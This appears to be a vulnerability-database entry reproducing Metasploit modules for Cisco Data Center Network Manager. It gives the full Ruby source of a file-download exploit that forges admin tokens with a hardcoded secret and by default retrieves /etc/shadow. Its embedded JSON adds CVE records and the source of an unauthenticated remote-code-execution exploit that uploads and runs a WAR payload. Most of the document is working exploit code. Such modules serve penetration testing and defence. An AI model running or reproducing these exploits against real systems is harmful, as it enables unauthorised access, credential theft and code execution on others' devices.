Cisco Data Center Network Manager Unauthenticated File Download
2020-06-22T10:11:11
ID MSF:AUXILIARY/ADMIN/NETWORKING/CISCO_DCNM_DOWNLOAD Type metasploit Reporter Rapid7 Modified 2020-10-02T20:00:37
Description
DCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root by specifying the full path of the file. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Deprecated
moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
'Description' => %q{
DCNM exposes a servlet to download files on /fm/downloadServlet.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file.
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why).
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1619' ],
[ 'CVE', '2019-1621' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
],
'DisclosureDate' => '2019-06-26'
)
)
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, 'Default server path', '/']),
OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),
OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
]
)
end
def auth_v11
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET',
'vars_get' =>
{
'userName' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)
if res && res.code == 200
# get the JSESSIONID cookie
if res.get_cookies
res.get_cookies.split(';').each do |cok|
if cok.include?('JSESSIONID')
return cok
end
end
end
end
end
def auth_v10
# step 1: get a JSESSIONID cookie and the server Date header
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'fm/'),
'method' => 'GET'
})
# step 2: convert the Date header and create the auth hash
if res && res.headers['Date']
jsession = res.get_cookies.split(';')[0]
date = Time.httpdate(res.headers['Date'])
server_date = date.strftime('%s').to_i * 1000
print_good("#{peer} - Got sysTime value #{server_date}")
# auth hash format:
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
session_id = rand(1000..50000).to_s
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'
md5_str = Base64.strict_encode64(md5)
# step 3: authenticate our cookie as admin
# token format: sessionId.sysTime.md5_str.username
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
'cookie' => jsession,
'vars_get' =>
{
'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"
},
'method' => 'GET'
)
if res && res.code == 500
return jsession
end
end
end
def run
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),
'method' => 'GET'
)
noauth = false
if res && res.code == 200
if res.body.include?('version":"11.1(1)')
print_good("#{peer} - Detected DCNM 11.1(1)")
print_status("#{peer} - No authentication required, ready to exploit!")
noauth = true
elsif res.body.include?('version":"11.0(1)')
print_good("#{peer} - Detected DCNM 11.0(1)")
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
jsession = auth_v11
elsif res.body.include?('version":"10.4(2)')
print_good("#{peer} - Detected DCNM 10.4(2)")
print_status("#{peer} - No authentication required, ready to exploit!")
jsession = auth_v10
else
print_error("#{peer} - Failed to detect module version.")
print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')
print_error(res.body)
print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
jsession = auth_v10
end
end
if jsession || noauth
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
else
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
'method' => 'GET',
'cookie' => jsession,
'vars_get' => {
'showFile' => datastore['FILEPATH']
}
)
if res && res.code == 200 && !res.body.empty?
filedata = res.body
vprint_line(filedata.to_s)
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'cisco-DCNM.http',
'application/octet-stream',
datastore['RHOST'],
filedata,
fname
)
print_good("File saved in: #{path}")
else
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
end
end
end
{"id": "MSF:AUXILIARY/ADMIN/NETWORKING/CISCO_DCNM_DOWNLOAD", "type": "metasploit", "bulletinFamily": "exploit", "title": "Cisco Data Center Network Manager Unauthenticated File Download", "description": "DCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root by specifying the full path of the file. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).\n", "published": "2020-06-22T10:11:11", "modified": "2020-10-02T20:00:37", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "", "reporter": "Rapid7", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1619", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1621", "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld", "https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb", "https://seclists.org/fulldisclosure/2019/Jul/7"], "cvelist": ["CVE-2019-1619", "CVE-2019-1621"], "lastseen": "2020-10-12T07:10:08", "viewCount": 66, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2019-1621", "CVE-2019-1619"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY/ADMIN/CISCO/CISCO_DCNM_DOWNLOAD", "MSF:EXPLOIT/MULTI/HTTP/CISCO_DCNM_UPLOAD_2019/", "MSF:EXPLOIT/MULTI/HTTP/CISCO_DCNM_UPLOAD_2019"]}, {"type": "zdt", "idList": ["1337DAY-ID-32960", "1337DAY-ID-33201"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:153546", "PACKETSTORM:154304"]}, {"type": "threatpost", "idList": ["THREATPOST:5A33AD44ED58341ED7A6004BB0DBE2E4", "THREATPOST:05C83E488D9CF5E71AD1F4F7018EA8B9"]}, {"type": "nessus", "idList": ["CISCO-SA-20190626-DCNM-BYPASS.NASL", "CISCO-SA-20190626-DCNM-FILE-DWNLD.NASL"]}, {"type": "cisco", "idList": ["CISCO-SA-20190626-DCNM-FILE-DWNLD", "CISCO-SA-20190626-DCNM-BYPASS"]}, {"type": "exploitdb", "idList": ["EDB-ID:47347"]}], "modified": "2020-10-12T07:10:08", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2020-10-12T07:10:08", "rev": 2}, "vulnersScore": 5.6}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/networking/cisco_dcnm_download.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Auxiliary\n\n include Msf::Auxiliary::Report\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Deprecated\n moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',\n 'Description' => %q{\n DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).\n },\n 'Author' =>\n [\n 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2019-1619' ],\n [ 'CVE', '2019-1621' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],\n [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ],\n [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]\n ],\n 'DisclosureDate' => '2019-06-26'\n )\n )\n\n register_options(\n [\n Opt::RPORT(443),\n OptBool.new('SSL', [true, 'Connect with TLS', true]),\n OptString.new('TARGETURI', [true, 'Default server path', '/']),\n OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),\n OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),\n OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),\n ]\n )\n end\n\n def auth_v11\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'userName' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n }\n )\n\n if res && res.code == 200\n # get the JSESSIONID cookie\n if res.get_cookies\n res.get_cookies.split(';').each do |cok|\n if cok.include?('JSESSIONID')\n return cok\n end\n end\n end\n end\n end\n\n def auth_v10\n # step 1: get a JSESSIONID cookie and the server Date header\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET'\n })\n\n # step 2: convert the Date header and create the auth hash\n if res && res.headers['Date']\n jsession = res.get_cookies.split(';')[0]\n date = Time.httpdate(res.headers['Date'])\n server_date = date.strftime('%s').to_i * 1000\n print_good(\"#{peer} - Got sysTime value #{server_date}\")\n\n # auth hash format:\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\n session_id = rand(1000..50000).to_s\n md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +\n 'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'\n md5_str = Base64.strict_encode64(md5)\n\n # step 3: authenticate our cookie as admin\n # token format: sessionId.sysTime.md5_str.username\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\n 'cookie' => jsession,\n 'vars_get' =>\n {\n 'token' => \"#{session_id}.#{server_date}.#{md5_str}.admin\"\n },\n 'method' => 'GET'\n )\n\n if res && res.code == 500\n return jsession\n end\n end\n end\n\n def run\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),\n 'method' => 'GET'\n )\n noauth = false\n\n if res && res.code == 200\n if res.body.include?('version\":\"11.1(1)')\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n noauth = true\n elsif res.body.include?('version\":\"11.0(1)')\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n jsession = auth_v11\n elsif res.body.include?('version\":\"10.4(2)')\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n jsession = auth_v10\n else\n print_error(\"#{peer} - Failed to detect module version.\")\n print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')\n print_error(res.body)\n print_error(\"#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...\")\n jsession = auth_v10\n end\n end\n\n if jsession || noauth\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\n else\n fail_with(Failure::Unknown, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\n end\n\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),\n 'method' => 'GET',\n 'cookie' => jsession,\n 'vars_get' => {\n 'showFile' => datastore['FILEPATH']\n }\n )\n\n if res && res.code == 200 && !res.body.empty?\n filedata = res.body\n vprint_line(filedata.to_s)\n fname = File.basename(datastore['FILEPATH'])\n\n path = store_loot(\n 'cisco-DCNM.http',\n 'application/octet-stream',\n datastore['RHOST'],\n filedata,\n fname\n )\n print_good(\"File saved in: #{path}\")\n else\n fail_with(Failure::Unknown, \"#{peer} - Failed to download file #{datastore['FILEPATH']}\")\n end\n end\nend\n", "metasploitReliability": "", "metasploitHistory": ""}
{"cve": [{"lastseen": "2020-10-07T12:25:49", "description": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to gain access to sensitive files on an affected device. The vulnerability is due to incorrect permissions settings on affected DCNM software. An attacker could exploit this vulnerability by connecting to the web-based management interface of an affected device and requesting specific URLs. A successful exploit could allow the attacker to download arbitrary files from the underlying filesystem of the affected device.", "edition": 6, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 3.6}, "published": "2019-06-27T03:15:00", "title": "CVE-2019-1621", "type": "cve", "cwe": ["CWE-22"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-1621"], "modified": "2020-10-06T19:43:00", "cpe": ["cpe:/a:cisco:data_center_network_manager:11.0\\(1\\)"], "id": "CVE-2019-1621", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1621", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:cisco:data_center_network_manager:11.0\\(1\\):*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-07T12:25:49", "description": "A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to bypass authentication and execute arbitrary actions with administrative privileges on an affected device. The vulnerability is due to improper session management on affected DCNM software. An attacker could exploit this vulnerability by sending a crafted HTTP request to the affected device. A successful exploit could allow the attacker to gain administrative access on the affected device.", "edition": 7, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2019-06-27T03:15:00", "title": "CVE-2019-1619", "type": "cve", "cwe": ["CWE-798"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-1619"], "modified": "2020-10-06T19:55:00", "cpe": ["cpe:/a:cisco:data_center_network_manager:10.4\\(2\\)"], "id": "CVE-2019-1619", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1619", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:cisco:data_center_network_manager:10.4\\(2\\):*:*:*:*:*:*:*"]}], "metasploit": [{"lastseen": "2020-10-15T08:20:59", "description": "DCNM exposes a servlet to download files on /fm/downloadServlet. An authenticated user can abuse this servlet to download arbitrary files as root by specifying the full path of the file. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).\n", "published": "1976-01-01T00:00:00", "type": "metasploit", "title": "Cisco Data Center Network Manager Unauthenticated File Download", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1621"], "modified": "1976-01-01T00:00:00", "id": "MSF:AUXILIARY/ADMIN/CISCO/CISCO_DCNM_DOWNLOAD", "href": "", "sourceData": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/cisco/cisco_dcnm_download.rb"}, {"lastseen": "2021-01-09T23:38:39", "description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root. This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).\n", "published": "2019-07-12T21:02:05", "type": "metasploit", "title": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1622"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/HTTP/CISCO_DCNM_UPLOAD_2019/", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',\n 'Description' => %q{\n DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\n directory and achieve remote code execution as root.\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\n directory for the WAR file upload.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).\n },\n 'Author' =>\n [\n 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2019-1619' ], # auth bypass\n [ 'CVE', '2019-1620' ], # file upload\n [ 'CVE', '2019-1622' ], # log download\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\n [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],\n [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]\n ],\n 'Platform' => 'java',\n 'Arch' => ARCH_JAVA,\n 'Targets' =>\n [\n [ 'Automatic', {} ],\n [\n 'Cisco DCNM 11.1(1)', {}\n ],\n [\n 'Cisco DCNM 11.0(1)', {}\n ],\n [\n 'Cisco DCNM 10.4(2)', {}\n ]\n ],\n 'Privileged' => true,\n 'DefaultOptions' => { 'WfsDelay' => 10 },\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2019-06-26'\n ))\n\n register_options(\n [\n Opt::RPORT(443),\n OptBool.new('SSL', [true, 'Connect with TLS', true]),\n OptString.new('TARGETURI', [true, \"Default server path\", '/']),\n OptString.new('USERNAME', [true, \"Username for auth (required only for 11.0(1) and above\", 'admin']),\n OptString.new('PASSWORD', [true, \"Password for auth (required only for 11.0(1) and above\", 'admin']),\n ])\n end\n\n def check\n # at the moment this is the best way to detect\n # check if pmreport and fileUpload servlets return a 500 error with no params\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\n 'vars_get' =>\n {\n 'token' => rand_text_alpha(5..20)\n },\n 'method' => 'GET'\n )\n if res && res.code == 500\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\n 'method' => 'GET',\n )\n if res && res.code == 500\n return CheckCode::Detected\n end\n end\n\n CheckCode::Unknown\n end\n\n def target_select\n if target != targets[0]\n return target\n else\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),\n 'method' => 'GET'\n )\n if res && res.code == 200\n if res.body.include?('version\":\"11.1(1)')\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[1]\n elsif res.body.include?('version\":\"11.0(1)')\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n return targets[2]\n elsif res.body.include?('version\":\"10.4(2)')\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[3]\n else\n print_error(\"#{peer} - Failed to detect target version.\")\n print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\n print_error(res.body)\n print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\n return targets[3]\n end\n end\n fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\n end\n end\n\n def auth_v11\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'userName' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n },\n )\n\n if res && res.code == 200\n # get the JSESSIONID cookie\n if res.get_cookies\n res.get_cookies.split(';').each do |cok|\n if cok.include?(\"JSESSIONID\")\n return cok\n end\n end\n end\n end\n end\n\n def auth_v10\n # step 1: get a JSESSIONID cookie and the server Date header\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET'\n )\n\n # step 2: convert the Date header and create the auth hash\n if res && res.headers['Date']\n jsession = res.get_cookies.split(';')[0]\n date = Time.httpdate(res.headers['Date'])\n server_date = date.strftime(\"%s\").to_i * 1000\n print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\n\n # auth hash format:\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\n session_id = rand(1000..50000).to_s\n md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +\n \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\n md5_str = Base64.strict_encode64(md5)\n\n # step 3: authenticate our cookie as admin\n # token format: sessionId.sysTime.md5_str.username\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\n 'cookie' => jsession,\n 'vars_get' =>\n {\n 'token' => \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\n },\n 'method' => 'GET'\n )\n\n if res && res.code == 500\n return jsession\n end\n end\n end\n\n # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\n def get_war_path\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),\n 'method' => 'GET'\n )\n\n if res && res.code == 200\n tmp = Tempfile.new\n # we have to drop this into a file first\n # else we will get a Zip::GPFBit3Error if we use an InputStream\n File.binwrite(tmp, res.body)\n Zip::File.open(tmp) do |zis|\n zis.each do |entry|\n if entry.name =~ /jboss[0-9]*\\.log/\n fdata = zis.read(entry)\n if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.: ]+)/]\n tmp.close\n tmp.unlink\n return $1.strip\n end\n end\n end\n end\n end\n end\n\n\n def exploit\n target = target_select\n\n if target == targets[2]\n jsession = auth_v11\n elsif target == targets[3]\n jsession = auth_v10\n end\n\n # targets[1] DCNM 11.1(1) doesn't need auth!\n if jsession.nil? && target != targets[1]\n fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\n elsif target != targets[1]\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\n end\n\n war_path = get_war_path\n if war_path.nil? or war_path.empty?\n fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\n else\n print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\n end\n\n # Generate our payload... and upload it\n app_base = rand_text_alphanumeric(6..16)\n war_payload = payload.encoded_war({ :app_name => app_base }).to_s\n\n fname = app_base + '.war'\n post_data = Rex::MIME::Message.new\n post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\n post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\n post_data.add_part(war_payload,\n \"application/octet-stream\", 'binary',\n \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\n data = post_data.to_s\n\n print_status(\"#{peer} - Uploading payload...\")\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\n 'method' => 'POST',\n 'data' => data,\n 'cookie' => jsession,\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n )\n\n if res && res.code == 200 && res.body[/#{fname}/]\n print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\n\n sleep 10\n\n print_status(\"#{peer} - Executing payload...\")\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, app_base),\n 'method' => 'GET'\n )\n else\n fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\n end\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/cisco_dcnm_upload_2019.rb"}, {"lastseen": "2020-10-13T16:56:00", "description": "DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps directory and achieve remote code execution as root. This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct directory for the WAR file upload. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit (see References to understand why).\n", "published": "2019-07-12T21:02:05", "type": "metasploit", "title": "Cisco Data Center Network Manager Unauthenticated Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1622"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/HTTP/CISCO_DCNM_UPLOAD_2019", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include 